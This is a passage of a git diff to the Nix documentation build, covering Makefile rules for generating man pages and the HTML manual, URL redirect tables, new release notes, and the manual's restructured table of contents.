+endef + +$(d)/nix-env-%.1: $(d)/src/command-ref/nix-env/%.md + @printf "Title: %s\n\n" "$(subst nix-env-,nix-env --,$$(basename "$@" .1))" > $^.tmp + $(render-subcommand) + +$(d)/nix-store-%.1: $(d)/src/command-ref/nix-store/%.md + @printf -- 'Title: %s\n\n' "$(subst nix-store-,nix-store --,$$(basename "$@" .1))" > $^.tmp + $(render-subcommand) + +# FIXME: there surely is some more deduplication to be achieved here with even darker Make magic +define render-subcommand + @cat $^ >> $^.tmp + @$(call process-includes,$^,$^.tmp) + $(trace-gen) lowdown -sT man --nroff-nolinks -M section=1 $^.tmp -o $@ + @# fix up `lowdown`'s automatic escaping of `--` + @# https://github.com/kristapsdz/lowdown/blob/edca6ce6d5336efb147321a43c47a698de41bb7c/entity.c#L202 + @sed -i 's/\e\[u2013\]/--/' $@ + @rm $^.tmp +endef + $(d)/%.1: $(d)/src/command-ref/%.md @printf "Title: %s\n\n" "$$(basename $@ .1)" > $^.tmp @cat $^ >> $^.tmp + @$(call process-includes,$^,$^.tmp) $(trace-gen) lowdown -sT man --nroff-nolinks -M section=1 $^.tmp -o $@ @rm $^.tmp @@ -41,49 +85,111 @@ $(d)/%.8: $(d)/src/command-ref/%.md $(d)/nix.conf.5: $(d)/src/command-ref/conf-file.md @printf "Title: %s\n\n" "$$(basename $@ .5)" > $^.tmp @cat $^ >> $^.tmp + @$(call process-includes,$^,$^.tmp) $(trace-gen) lowdown -sT man --nroff-nolinks -M section=5 $^.tmp -o $@ @rm $^.tmp -$(d)/src/SUMMARY.md: $(d)/src/SUMMARY.md.in $(d)/src/command-ref/new-cli - $(trace-gen) cat doc/manual/src/SUMMARY.md.in | while IFS= read line; do if [[ $$line = @manpages@ ]]; then cat doc/manual/src/command-ref/new-cli/SUMMARY.md; else echo "$$line"; fi; done > $@.tmp +$(d)/nix-profiles.5: $(d)/src/command-ref/files/profiles.md + @printf "Title: %s\n\n" "$$(basename $@ .5)" > $^.tmp + @cat $^ >> $^.tmp + $(trace-gen) lowdown -sT man --nroff-nolinks -M section=5 $^.tmp -o $@ + @rm $^.tmp + +$(d)/src/SUMMARY.md: $(d)/src/SUMMARY.md.in $(d)/src/SUMMARY-rl-next.md $(d)/src/store/types $(d)/src/command-ref/new-cli $(d)/src/development/experimental-feature-descriptions.md + @cp $< $@ + @$(call process-includes,$@,$@) + +$(d)/src/store/types: $(d)/nix.json $(d)/utils.nix $(d)/generate-store-info.nix $(d)/generate-store-types.nix $(d)/src/store/types/index.md.in $(doc_nix) + @# FIXME: build out of tree! + @rm -rf $@.tmp + $(trace-gen) $(nix-eval) --write-to $@.tmp --expr 'import doc/manual/generate-store-types.nix (builtins.fromJSON (builtins.readFile $<)).stores' + @# do not destroy existing contents + @mv $@.tmp/* $@/ + +$(d)/src/command-ref/new-cli: $(d)/nix.json $(d)/utils.nix $(d)/generate-manpage.nix $(d)/generate-settings.nix $(d)/generate-store-info.nix $(doc_nix) + @rm -rf $@ $@.tmp + $(trace-gen) $(nix-eval) --write-to $@.tmp --expr 'import doc/manual/generate-manpage.nix true (builtins.readFile $<)' @mv $@.tmp $@ -$(d)/src/command-ref/new-cli: $(d)/nix.json $(d)/generate-manpage.nix $(bindir)/nix - @rm -rf $@ - $(trace-gen) $(nix-eval) --write-to $@ --expr 'import doc/manual/generate-manpage.nix { toplevel = builtins.readFile $<; }' - -$(d)/src/command-ref/conf-file.md: $(d)/conf-file.json $(d)/generate-options.nix $(d)/src/command-ref/conf-file-prefix.md $(bindir)/nix +$(d)/src/command-ref/conf-file.md: $(d)/conf-file.json $(d)/utils.nix $(d)/generate-settings.nix $(d)/src/command-ref/conf-file-prefix.md $(d)/src/command-ref/experimental-features-shortlist.md $(doc_nix) @cat doc/manual/src/command-ref/conf-file-prefix.md > $@.tmp - $(trace-gen) $(nix-eval) --expr 'import doc/manual/generate-options.nix (builtins.fromJSON (builtins.readFile $<))' >> $@.tmp + $(trace-gen) $(nix-eval) --expr 'import doc/manual/generate-settings.nix { prefix = "conf"; } (builtins.fromJSON (builtins.readFile $<))' >> $@.tmp; @mv $@.tmp $@ -$(d)/nix.json: $(bindir)/nix - $(trace-gen) $(dummy-env) $(bindir)/nix __dump-args > $@.tmp +$(d)/nix.json: $(doc_nix) + $(trace-gen) $(dummy-env) $(doc_nix) __dump-cli > $@.tmp @mv $@.tmp $@ -$(d)/conf-file.json: $(bindir)/nix - $(trace-gen) $(dummy-env) $(bindir)/nix show-config --json --experimental-features nix-command > $@.tmp +$(d)/conf-file.json: $(doc_nix) + $(trace-gen) $(dummy-env) $(doc_nix) config show --json --experimental-features nix-command > $@.tmp @mv $@.tmp $@ -$(d)/src/language/builtins.md: $(d)/builtins.json $(d)/generate-builtins.nix $(d)/src/language/builtins-prefix.md $(bindir)/nix +$(d)/src/development/experimental-feature-descriptions.md: $(d)/xp-features.json $(d)/utils.nix $(d)/generate-xp-features.nix $(doc_nix) + @rm -rf $@ $@.tmp + $(trace-gen) $(nix-eval) --write-to $@.tmp --expr 'import doc/manual/generate-xp-features.nix (builtins.fromJSON (builtins.readFile $<))' + @mv $@.tmp $@ + +$(d)/src/command-ref/experimental-features-shortlist.md: $(d)/xp-features.json $(d)/utils.nix $(d)/generate-xp-features-shortlist.nix $(doc_nix) + @rm -rf $@ $@.tmp + $(trace-gen) $(nix-eval) --write-to $@.tmp --expr 'import doc/manual/generate-xp-features-shortlist.nix (builtins.fromJSON (builtins.readFile $<))' + @mv $@.tmp $@ + +$(d)/xp-features.json: $(doc_nix) + $(trace-gen) $(dummy-env) $(doc_nix) __dump-xp-features > $@.tmp + @mv $@.tmp $@ + +$(d)/src/language/builtins.md: $(d)/language.json $(d)/generate-builtins.nix $(d)/src/language/builtins-prefix.md $(doc_nix) @cat doc/manual/src/language/builtins-prefix.md > $@.tmp - $(trace-gen) $(nix-eval) --expr 'import doc/manual/generate-builtins.nix (builtins.fromJSON (builtins.readFile $<))' >> $@.tmp + $(trace-gen) $(nix-eval) --expr 'import doc/manual/generate-builtins.nix (builtins.fromJSON (builtins.readFile $<))' >> $@.tmp; @cat doc/manual/src/language/builtins-suffix.md >> $@.tmp @mv $@.tmp $@ -$(d)/builtins.json: $(bindir)/nix - $(trace-gen) $(dummy-env) NIX_PATH=nix/corepkgs=corepkgs $(bindir)/nix __dump-builtins > $@.tmp +$(d)/language.json: $(doc_nix) + $(trace-gen) $(dummy-env) $(doc_nix) __dump-language > $@.tmp @mv $@.tmp $@ +# Generate "Upcoming release" notes (or clear it and remove from menu) +$(d)/src/release-notes/rl-next.md: $(d)/rl-next $(d)/rl-next/* + @if type -p changelog-d > /dev/null; then \ + echo " GEN " $@; \ + changelog-d doc/manual/rl-next > $@; \ + else \ + echo " NULL " $@; \ + true > $@; \ + fi + +$(d)/src/SUMMARY-rl-next.md: $(d)/src/release-notes/rl-next.md + $(trace-gen) true + @if [ -s $< ]; then \ + echo ' - [Upcoming release](release-notes/rl-next.md)' > $@; \ + else \ + true > $@; \ + fi + # Generate the HTML manual. -html: $(docdir)/manual/index.html +.PHONY: manual-html +manual-html: $(docdir)/manual/index.html + +# Open the built HTML manual in the default browser. +manual-html-open: $(docdir)/manual/index.html + @echo " OPEN " $<; \ + xdg-open $< \ + || open $< \ + || { \ + echo "Could not open the manual in a browser. Please open '$<'" >&2; \ + false; \ + } install: $(docdir)/manual/index.html # Generate 'nix' manpages. +.PHONY: manpages +manpages: $(mandir)/man1/nix3-manpages install: $(mandir)/man1/nix3-manpages man: doc/manual/generated/man1/nix3-manpages all: doc/manual/generated/man1/nix3-manpages +# FIXME: unify with how the other man pages are generated. +# this one works differently and does not use any of the amenities provided by `/mk/lib.mk`. $(mandir)/man1/nix3-manpages: doc/manual/generated/man1/nix3-manpages @mkdir -p $(DESTDIR)$$(dirname $@) $(trace-install) install -m 0644 $$(dirname $<)/* $(DESTDIR)$$(dirname $@) @@ -91,17 +197,35 @@ $(mandir)/man1/nix3-manpages: doc/manual/generated/man1/nix3-manpages doc/manual/generated/man1/nix3-manpages: $(d)/src/command-ref/new-cli @mkdir -p $(DESTDIR)$$(dirname $@) $(trace-gen) for i in doc/manual/src/command-ref/new-cli/*.md; do \ - name=$$(basename $$i .md); \ - tmpFile=$$(mktemp); \ - if [[ $$name = SUMMARY ]]; then continue; fi; \ - printf "Title: %s\n\n" "$$name" > $$tmpFile; \ - cat $$i >> $$tmpFile; \ - lowdown -sT man --nroff-nolinks -M section=1 $$tmpFile -o $(DESTDIR)$$(dirname $@)/$$name.1; \ - rm $$tmpFile; \ + name=$$(basename $$i .md); \ + tmpFile=$$(mktemp); \ + if [[ $$name = SUMMARY ]]; then continue; fi; \ + printf "Title: %s\n\n" "$$name" > $$tmpFile; \ + cat $$i >> $$tmpFile; \ + lowdown -sT man --nroff-nolinks -M section=1 $$tmpFile -o $(DESTDIR)$$(dirname $@)/$$name.1; \ + rm $$tmpFile; \ done @touch $@ -$(docdir)/manual/index.html: $(MANUAL_SRCS) $(d)/book.toml $(d)/anchors.jq $(d)/custom.css $(d)/src/SUMMARY.md $(d)/src/command-ref/new-cli $(d)/src/command-ref/conf-file.md $(d)/src/language/builtins.md - $(trace-gen) RUST_LOG=warn mdbook build doc/manual -d $(DESTDIR)$(docdir)/manual - -endif +# the `! -name 'documentation.md'` filter excludes the one place where +# `@docroot@` is to be preserved for documenting the mechanism +# FIXME: maybe contributing guides should live right next to the code +# instead of in the manual +$(docdir)/manual/index.html: $(MANUAL_SRCS) $(d)/book.toml $(d)/anchors.jq $(d)/custom.css $(d)/src/SUMMARY.md $(d)/src/store/types $(d)/src/command-ref/new-cli $(d)/src/development/experimental-feature-descriptions.md $(d)/src/command-ref/conf-file.md $(d)/src/language/builtins.md $(d)/src/release-notes/rl-next.md $(d)/src/figures $(d)/src/favicon.png $(d)/src/favicon.svg + $(trace-gen) \ + tmp="$$(mktemp -d)"; \ + cp -r doc/manual "$$tmp"; \ + find "$$tmp" -name '*.md' | while read -r file; do \ + $(call process-includes,$$file,$$file); \ + done; \ + find "$$tmp" -name '*.md' ! -name 'documentation.md' | while read -r file; do \ + docroot="$$(realpath --relative-to="$$(dirname "$$file")" $$tmp/manual/src)"; \ + sed -i "s,@docroot@,$$docroot,g" "$$file"; \ + done; \ + set -euo pipefail; \ + RUST_LOG=warn mdbook build "$$tmp/manual" -d $(DESTDIR)$(docdir)/manual.tmp 2>&1 \ + | { grep -Fv "because fragment resolution isn't implemented" || :; }; \ + rm -rf "$$tmp/manual" + @rm -rf $(DESTDIR)$(docdir)/manual + @mv $(DESTDIR)$(docdir)/manual.tmp/html $(DESTDIR)$(docdir)/manual + @rm -rf $(DESTDIR)$(docdir)/manual.tmp diff --git a/doc/manual/redirects.js b/doc/manual/redirects.js index 69f75d3a0..cb8cd18fa 100644 --- a/doc/manual/redirects.js +++ b/doc/manual/redirects.js @@ -1,7 +1,9 @@ -// redirect rules for anchors ensure backwards compatibility of URLs. -// this must be done on the client side, as web servers do not see the anchor part of the URL. +// redirect rules for URL fragments (client-side) to prevent link rot. +// this must be done on the client side, as web servers do not see the fragment part of the URL. +// it will only work with JavaScript enabled in the browser, but this is the best we can do here. +// see src/_redirects for path redirects (server-side) -// redirections are declared as follows: +// redirects are declared as follows: // each entry has as its key a path matching the requested URL path, relative to the mdBook document root. // // IMPORTANT: it must specify the full path with file name and suffix @@ -12,14 +14,15 @@ const redirects = { "index.html": { - "part-advanced-topics": "advanced-topics/advanced-topics.html", + "part-advanced-topics": "advanced-topics/index.html", "chap-tuning-cores-and-jobs": "advanced-topics/cores-vs-jobs.html", "chap-diff-hook": "advanced-topics/diff-hook.html", "check-dirs-are-unregistered": "advanced-topics/diff-hook.html#check-dirs-are-unregistered", - "chap-distributed-builds": "advanced-topics/distributed-builds.html", + "chap-distributed-builds": "command-ref/conf-file.html#conf-builders", "chap-post-build-hook": "advanced-topics/post-build-hook.html", "chap-post-build-hook-caveats": "advanced-topics/post-build-hook.html#implementation-caveats", - "part-command-ref": "command-ref/command-ref.html", + "chap-writing-nix-expressions": "language/index.html", + "part-command-ref": "command-ref/index.html", "conf-allow-import-from-derivation": "command-ref/conf-file.html#conf-allow-import-from-derivation", "conf-allow-new-privileges": "command-ref/conf-file.html#conf-allow-new-privileges", "conf-allowed-uris": "command-ref/conf-file.html#conf-allowed-uris", @@ -140,7 +143,7 @@ const redirects = { "opt-timeout": "command-ref/opt-common.html#opt-timeout", "sec-common-options": "command-ref/opt-common.html", "ch-utilities": "command-ref/utilities.html", - "chap-hacking": "contributing/hacking.html", + "chap-hacking": "development/building.html", "adv-attr-allowSubstitutes": "language/advanced-attributes.html#adv-attr-allowSubstitutes", "adv-attr-allowedReferences": "language/advanced-attributes.html#adv-attr-allowedReferences", "adv-attr-allowedRequisites": "language/advanced-attributes.html#adv-attr-allowedRequisites", @@ -235,12 +238,12 @@ const redirects = { "attr-system": "language/derivations.html#attr-system", "ssec-derivation": "language/derivations.html", "ch-expression-language": "language/index.html", - "sec-constructs": "language/constructs.html", - "sect-let-language": "language/constructs.html#let-language", - "ss-functions": "language/constructs.html#functions", + "sec-constructs": "language/syntax.html", + "sect-let-language": "language/syntax.html#let-expressions", + "ss-functions": "language/syntax.html#functions", "sec-language-operators": "language/operators.html", "table-operators": "language/operators.html", - "ssec-values": "language/values.html", + "ssec-values": "language/types.html", "gloss-closure": "glossary.html#gloss-closure", "gloss-derivation": "glossary.html#gloss-derivation", "gloss-deriver": "glossary.html#gloss-deriver", @@ -258,7 +261,7 @@ const redirects = { "sec-installer-proxy-settings": "installation/env-variables.html#proxy-environment-variables", "sec-nix-ssl-cert-file": "installation/env-variables.html#nix_ssl_cert_file", "sec-nix-ssl-cert-file-with-nix-daemon-and-macos": "installation/env-variables.html#nix_ssl_cert_file-with-macos-and-the-nix-daemon", - "chap-installation": "installation/installation.html", + "chap-installation": "installation/index.html", "ch-installing-binary": "installation/installing-binary.html", "sect-macos-installation": "installation/installing-binary.html#macos-installation", "sect-macos-installation-change-store-prefix": "installation/installing-binary.html#macos-installation", @@ -281,20 +284,20 @@ const redirects = { "chap-introduction": "introduction.html", "ch-basic-package-mgmt": "package-management/basic-package-mgmt.html", "ssec-binary-cache-substituter": "package-management/binary-cache-substituter.html", - "sec-channels": "package-management/channels.html", - "ssec-copy-closure": "package-management/copy-closure.html", + "sec-channels": "command-ref/nix-channel.html", + "ssec-copy-closure": "command-ref/nix-copy-closure.html", "sec-garbage-collection": "package-management/garbage-collection.html", "ssec-gc-roots": "package-management/garbage-collector-roots.html", - "chap-package-management": "package-management/package-management.html", + "chap-package-management": "package-management/index.html", "sec-profiles": "package-management/profiles.html", - "ssec-s3-substituter": "package-management/s3-substituter.html", - "ssec-s3-substituter-anonymous-reads": "package-management/s3-substituter.html#anonymous-reads-to-your-s3-compatible-binary-cache", - "ssec-s3-substituter-authenticated-reads": "package-management/s3-substituter.html#authenticated-reads-to-your-s3-binary-cache", - "ssec-s3-substituter-authenticated-writes": "package-management/s3-substituter.html#authenticated-writes-to-your-s3-compatible-binary-cache", + "ssec-s3-substituter": "store/types/s3-substituter.html", + "ssec-s3-substituter-anonymous-reads": "store/types/s3-substituter.html#anonymous-reads-to-your-s3-compatible-binary-cache", + "ssec-s3-substituter-authenticated-reads": "store/types/s3-substituter.html#authenticated-reads-to-your-s3-binary-cache", + "ssec-s3-substituter-authenticated-writes": "store/types/s3-substituter.html#authenticated-writes-to-your-s3-compatible-binary-cache", "sec-sharing-packages": "package-management/sharing-packages.html", "ssec-ssh-substituter": "package-management/ssh-substituter.html", "chap-quick-start": "quick-start.html", - "sec-relnotes": "release-notes/release-notes.html", + "sec-relnotes": "release-notes/index.html", "ch-relnotes-0.10.1": "release-notes/rl-0.10.1.html", "ch-relnotes-0.10": "release-notes/rl-0.10.html", "ssec-relnotes-0.11": "release-notes/rl-0.11.html", @@ -330,15 +333,46 @@ const redirects = { "ssec-relnotes-2.0": "release-notes/rl-2.0.html", "ssec-relnotes-2.1": "release-notes/rl-2.1.html", "ssec-relnotes-2.2": "release-notes/rl-2.2.html", - "ssec-relnotes-2.3": "release-notes/rl-2.3.html" + "ssec-relnotes-2.3": "release-notes/rl-2.3.html", }, - "language/values.html": { + "language/types.html": { "simple-values": "#primitives", "lists": "#list", "strings": "#string", - "lists": "#list", - "attribute-sets": "#attribute-set" - } + "attribute-sets": "#attribute-set", + "type-number": "#type-int", + }, + "language/syntax.html": { + "scoping-rules": "scoping.html", + "string-literal": "string-literals.html", + }, + "installation/installing-binary.html": { + "linux": "uninstall.html#linux", + "macos": "uninstall.html#macos", + "uninstalling": "uninstall.html", + }, + "development/building.html": { + "nix-with-flakes": "#building-nix-with-flakes", + "classic-nix": "#building-nix", + "running-tests": "testing.html#running-tests", + "unit-tests": "testing.html#unit-tests", + "functional-tests": "testing.html#functional-tests", + "debugging-failing-functional-tests": "testing.html#debugging-failing-functional-tests", + "integration-tests": "testing.html#integration-tests", + "installer-tests": "testing.html#installer-tests", + "one-time-setup": "testing.html#one-time-setup", + "using-the-ci-generated-installer-for-manual-testing": "testing.html#using-the-ci-generated-installer-for-manual-testing", + "characterization-testing": "testing.html#characterisation-testing-unit", + "add-a-release-note": "contributing.html#add-a-release-note", + "add-an-entry": "contributing.html#add-an-entry", + "build-process": "contributing.html#build-process", + "reverting": "contributing.html#reverting", + "branches": "contributing.html#branches", + }, + "glossary.html": { + "gloss-local-store": "store/types/local-store.html", + "gloss-chroot-store": "store/types/local-store.html", + }, }; // the following code matches the current page's URL against the set of redirects. diff --git a/doc/manual/rl-next/ban-integer-overflow.md b/doc/manual/rl-next/ban-integer-overflow.md new file mode 100644 index 000000000..0e553af76 --- /dev/null +++ b/doc/manual/rl-next/ban-integer-overflow.md @@ -0,0 +1,21 @@ +--- +synopsis: Define integer overflow in the Nix language as an error +issues: [10968] +prs: [11188] +--- + +Previously, integer overflow in the Nix language invoked C++ level signed overflow, which was undefined behaviour, but *usually* manifested as wrapping around on overflow. + +Since prior to the public release of Lix, Lix had C++ signed overflow defined to crash the process and nobody noticed this having accidentally removed overflow from the Nix language for three months until it was caught by fiddling around. +Given the significant body of actual Nix code that has been evaluated by Lix in that time, it does not appear that nixpkgs or much of importance depends on integer overflow, so it appears safe to turn into an error. + +Some other overflows were fixed: +- `builtins.fromJSON` of values greater than the maximum representable value in a signed 64-bit integer will generate an error. +- `nixConfig` in flakes will no longer accept negative values for configuration options. + +Integer overflow now looks like the following: + +``` +$ nix eval --expr '9223372036854775807 + 1' +error: integer overflow in adding 9223372036854775807 + 1 +``` diff --git a/doc/manual/rl-next/build-hook-default.md b/doc/manual/rl-next/build-hook-default.md new file mode 100644 index 000000000..0d5a130c0 --- /dev/null +++ b/doc/manual/rl-next/build-hook-default.md @@ -0,0 +1,22 @@ +--- +synopsis: |- + The `build-hook` setting's default is less useful when using `libnixstore` as a library +prs: +- 11178 +--- + +*This is an obscure issue that only affects usage of the `libnixstore` library outside of the Nix executable.* + +As part the ongoing [rewrite of the build system](https://github.com/NixOS/nix/issues/2503) to use [Meson](https://mesonbuild.com/), we are also switching to packaging individual Nix components separately (and building them in separate derivations). +This means that when building `libnixstore` we do not know where the Nix binaries will be installed --- `libnixstore` doesn't know about downstream consumers like the Nix binaries at all. + +*This is also unrelated to the _`post`_-`build-hook`*, which is often used for pushing to a cache.* + +This has a small adverse affect on remote building --- the `build-remote` executable that is specified from the [`build-hook`](@docroot@/command-ref/conf-file.md#conf-build-hook) setting will not be gotten from the (presumed) installation location, but instead looked up on the `PATH`. +This means that other applications linking `libnixstore` that wish to use remote building must arrange for the `nix` command to be on the PATH (or manually overriding `build-hook`) in order for that to work. + +Long term we don't envision this being a downside, because we plan to [get rid of `build-remote` and the build hook setting entirely](https://github.com/NixOS/nix/issues/1221). +There is simply no need to add a second layer of remote-procedure-calling when we want to connect to a remote builder. +The build hook protocol did in principle support custom ways of remote building, but that can also be accomplished with a custom service for the ssh or daemon/ssh-ng protocols, or with a custom [store type](@docroot@/store/types/index.md) i.e. `Store` subclass. + +The Perl bindings no longer expose `getBinDir` either, since they libraries those bindings wrap no longer know the location of installed binaries as described above. diff --git a/doc/manual/rl-next/config b/doc/manual/rl-next/config new file mode 100644 index 000000000..b3c2e868f --- /dev/null +++ b/doc/manual/rl-next/config @@ -0,0 +1,2 @@ +organization: NixOS +repository: nix diff --git a/doc/manual/rl-next/nix-flake-show-description.md b/doc/manual/rl-next/nix-flake-show-description.md new file mode 100644 index 000000000..7feb08483 --- /dev/null +++ b/doc/manual/rl-next/nix-flake-show-description.md @@ -0,0 +1,25 @@ +--- +synopsis: Show package descriptions with `nix flake show` +issues: [10977] +prs: [10980] +--- + +`nix flake show` will now display a package's `meta.description` if it exists. If the description does not fit in the terminal it will be truncated to fit the terminal width. If the size of the terminal width is unknown the description will be capped at 80 characters. + +``` +$ nix flake show +└───packages + └───x86_64-linux + ├───builderImage: package 'docker-image-ara-builder-image.tar.gz' - 'Docker image hosting the nix build environment' + └───runnerImage: package 'docker-image-gitlab-runner.tar.gz' - 'Docker image hosting the gitlab-runner executable' +``` + +In a narrower terminal: + +``` +$ nix flake show +└───packages + └───x86_64-linux + ├───builderImage: package 'docker-image-ara-builder-image.tar.gz' - 'Docker image hosting the nix b... + └───runnerImage: package 'docker-image-gitlab-runner.tar.gz' - 'Docker image hosting the gitlab-run... +``` diff --git a/doc/manual/src/SUMMARY.md.in b/doc/manual/src/SUMMARY.md.in index 6a514fa2c..eef7d189c 100644 --- a/doc/manual/src/SUMMARY.md.in +++ b/doc/manual/src/SUMMARY.md.in @@ -2,7 +2,7 @@ - [Introduction](introduction.md) - [Quick Start](quick-start.md) -- [Installation](installation/installation.md) +- [Installation](installation/index.md) - [Supported Platforms](installation/supported-platforms.md) - [Installing a Binary Distribution](installation/installing-binary.md) - [Installing Nix from Source](installation/installing-source.md) @@ -15,38 +15,81 @@ - [Multi-User Mode](installation/multi-user.md) - [Environment Variables](installation/env-variables.md) - [Upgrading Nix](installation/upgrading.md) -- [Package Management](package-management/package-management.md) - - [Basic Package Management](package-management/basic-package-mgmt.md) + - [Uninstalling Nix](installation/uninstall.md) +- [Nix Store](store/index.md) + - [File System Object](store/file-system-object.md) + - [Content-Addressing File System Objects](store/file-system-object/content-address.md) + - [Store Object](store/store-object.md) + - [Content-Addressing Store Objects](store/store-object/content-address.md) + - [Store Path](store/store-path.md) + - [Store Types](store/types/index.md) +{{#include ./store/types/SUMMARY.md}} +- [Nix Language](language/index.md) + - [Data Types](language/types.md) + - [String context](language/string-context.md) + - [Syntax and semantics](language/syntax.md) + - [Variables](language/variables.md) + - [String literals](language/string-literals.md) + - [Identifiers](language/identifiers.md) + - [Scoping rules](language/scope.md) + - [String interpolation](language/string-interpolation.md) + - [Lookup path](language/constructs/lookup-path.md) + - [Operators](language/operators.md) + - [Built-ins](language/builtins.md) + - [Derivations](language/derivations.md) + - [Advanced Attributes](language/advanced-attributes.md) + - [Import From Derivation](language/import-from-derivation.md) +- [Package Management](package-management/index.md) - [Profiles](package-management/profiles.md) - [Garbage Collection](package-management/garbage-collection.md) - [Garbage Collector Roots](package-management/garbage-collector-roots.md) - - [Channels](package-management/channels.md) +- [Advanced Topics](advanced-topics/index.md) - [Sharing Packages Between Machines](package-management/sharing-packages.md) - [Serving a Nix store via HTTP](package-management/binary-cache-substituter.md) - - [Copying Closures via SSH](package-management/copy-closure.md) - [Serving a Nix store via SSH](package-management/ssh-substituter.md) - - [Serving a Nix store via S3](package-management/s3-substituter.md) -- [Nix Language](language/index.md) - - [Data Types](language/values.md) - - [Language Constructs](language/constructs.md) - - [Operators](language/operators.md) - - [Derivations](language/derivations.md) - - [Advanced Attributes](language/advanced-attributes.md) - - [Built-in Constants](language/builtin-constants.md) - - [Built-in Functions](language/builtins.md) -- [Advanced Topics](advanced-topics/advanced-topics.md) - [Remote Builds](advanced-topics/distributed-builds.md) - [Tuning Cores and Jobs](advanced-topics/cores-vs-jobs.md) - [Verifying Build Reproducibility](advanced-topics/diff-hook.md) - [Using the `post-build-hook`](advanced-topics/post-build-hook.md) -- [Command Reference](command-ref/command-ref.md) +- [Command Reference](command-ref/index.md) - [Common Options](command-ref/opt-common.md) - [Common Environment Variables](command-ref/env-common.md) - [Main Commands](command-ref/main-commands.md) - - [nix-env](command-ref/nix-env.md) - [nix-build](command-ref/nix-build.md) - [nix-shell](command-ref/nix-shell.md) - [nix-store](command-ref/nix-store.md) + - [nix-store --add-fixed](command-ref/nix-store/add-fixed.md) + - [nix-store --add](command-ref/nix-store/add.md) + - [nix-store --delete](command-ref/nix-store/delete.md) + - [nix-store --dump-db](command-ref/nix-store/dump-db.md) + - [nix-store --dump](command-ref/nix-store/dump.md) + - [nix-store --export](command-ref/nix-store/export.md) + - [nix-store --gc](command-ref/nix-store/gc.md) + - [nix-store --generate-binary-cache-key](command-ref/nix-store/generate-binary-cache-key.md) + - [nix-store --import](command-ref/nix-store/import.md) + - [nix-store --load-db](command-ref/nix-store/load-db.md) + - [nix-store --optimise](command-ref/nix-store/optimise.md) + - [nix-store --print-env](command-ref/nix-store/print-env.md) + - [nix-store --query](command-ref/nix-store/query.md) + - [nix-store --read-log](command-ref/nix-store/read-log.md) + - [nix-store --realise](command-ref/nix-store/realise.md) + - [nix-store --repair-path](command-ref/nix-store/repair-path.md) + - [nix-store --restore](command-ref/nix-store/restore.md) + - [nix-store --serve](command-ref/nix-store/serve.md) + - [nix-store --verify-path](command-ref/nix-store/verify-path.md) + - [nix-store --verify](command-ref/nix-store/verify.md) + - [nix-env](command-ref/nix-env.md) + - [nix-env --delete-generations](command-ref/nix-env/delete-generations.md) + - [nix-env --install](command-ref/nix-env/install.md) + - [nix-env --list-generations](command-ref/nix-env/list-generations.md) + - [nix-env --query](command-ref/nix-env/query.md) + - [nix-env --rollback](command-ref/nix-env/rollback.md) + - [nix-env --set-flag](command-ref/nix-env/set-flag.md) + - [nix-env --set](command-ref/nix-env/set.md) + - [nix-env --switch-generation](command-ref/nix-env/switch-generation.md) + - [nix-env --switch-profile](command-ref/nix-env/switch-profile.md) + - [nix-env --uninstall](command-ref/nix-env/uninstall.md) + - [nix-env --upgrade](command-ref/nix-env/upgrade.md) - [Utilities](command-ref/utilities.md) - [nix-channel](command-ref/nix-channel.md) - [nix-collect-garbage](command-ref/nix-collect-garbage.md) @@ -56,15 +99,48 @@ - [nix-instantiate](command-ref/nix-instantiate.md) - [nix-prefetch-url](command-ref/nix-prefetch-url.md) - [Experimental Commands](command-ref/experimental-commands.md) -@manpages@ +{{#include ./command-ref/new-cli/SUMMARY.md}} - [Files](command-ref/files.md) - [nix.conf](command-ref/conf-file.md) + - [Profiles](command-ref/files/profiles.md) + - [manifest.nix](command-ref/files/manifest.nix.md) + - [manifest.json](command-ref/files/manifest.json.md) + - [Channels](command-ref/files/channels.md) + - [Default Nix expression](command-ref/files/default-nix-expression.md) +- [Architecture and Design](architecture/architecture.md) +- [Formats and Protocols](protocols/index.md) + - [JSON Formats](protocols/json/index.md) + - [Store Object Info](protocols/json/store-object-info.md) + - [Derivation](protocols/json/derivation.md) + - [Serving Tarball Flakes](protocols/tarball-fetcher.md) + - [Store Path Specification](protocols/store-path.md) + - [Nix Archive (NAR) Format](protocols/nix-archive.md) + - [Derivation "ATerm" file format](protocols/derivation-aterm.md) +- [C API](c-api.md) - [Glossary](glossary.md) -- [Contributing](contributing/contributing.md) - - [Hacking](contributing/hacking.md) - - [CLI guideline](contributing/cli-guideline.md) -- [Release Notes](release-notes/release-notes.md) - - [Release X.Y (202?-??-??)](release-notes/rl-next.md) +- [Development](development/index.md) + - [Building](development/building.md) + - [Testing](development/testing.md) + - [Documentation](development/documentation.md) + - [CLI guideline](development/cli-guideline.md) + - [JSON guideline](development/json-guideline.md) + - [C++ style guide](development/cxx.md) + - [Experimental Features](development/experimental-features.md) + - [Contributing](development/contributing.md) +- [Releases](release-notes/index.md) +{{#include ./SUMMARY-rl-next.md}} + - [Release 2.24 (2024-07-31)](release-notes/rl-2.24.md) + - [Release 2.23 (2024-06-03)](release-notes/rl-2.23.md) + - [Release 2.22 (2024-04-23)](release-notes/rl-2.22.md) + - [Release 2.21 (2024-03-11)](release-notes/rl-2.21.md) + - [Release 2.20 (2024-01-29)](release-notes/rl-2.20.md) + - [Release 2.19 (2023-11-17)](release-notes/rl-2.19.md) + - [Release 2.18 (2023-09-20)](release-notes/rl-2.18.md) + - [Release 2.17 (2023-07-24)](release-notes/rl-2.17.md) + - [Release 2.16 (2023-05-31)](release-notes/rl-2.16.md) + - [Release 2.15 (2023-04-11)](release-notes/rl-2.15.md) + - [Release 2.14 (2023-02-28)](release-notes/rl-2.14.md) + - [Release 2.13 (2023-01-17)](release-notes/rl-2.13.md) - [Release 2.12 (2022-12-06)](release-notes/rl-2.12.md) - [Release 2.11 (2022-08-25)](release-notes/rl-2.11.md) - [Release 2.10 (2022-07-11)](release-notes/rl-2.10.md) diff --git a/doc/manual/src/_redirects b/doc/manual/src/_redirects new file mode 100644 index 000000000..07b3130f9 --- /dev/null +++ b/doc/manual/src/_redirects @@ -0,0 +1,54 @@ +# redirect rules for paths (server-side) to prevent link rot. +# see ../redirects.js for redirects based on URL fragments (client-side) +# +# concrete user story this supports: +# - user finds URL to the manual for Nix x.y +# - Nix x.z (z > y) is the most recent release +# - updating the version in the URL will show the right thing +# +# format documentation: +# - https://docs.netlify.com/routing/redirects/#syntax-for-the-redirects-file +# - https://docs.netlify.com/routing/redirects/redirect-options/ +# +# conventions: +# - always force (!) since this allows re-using file names +# - group related paths to ease readability +# - keep in alphabetical/wildcards-last order, which will reduce version control conflicts +# - redirects that should have been there but are missing can be inserted where they belong + +/advanced-topics/advanced-topics /advanced-topics 301! + 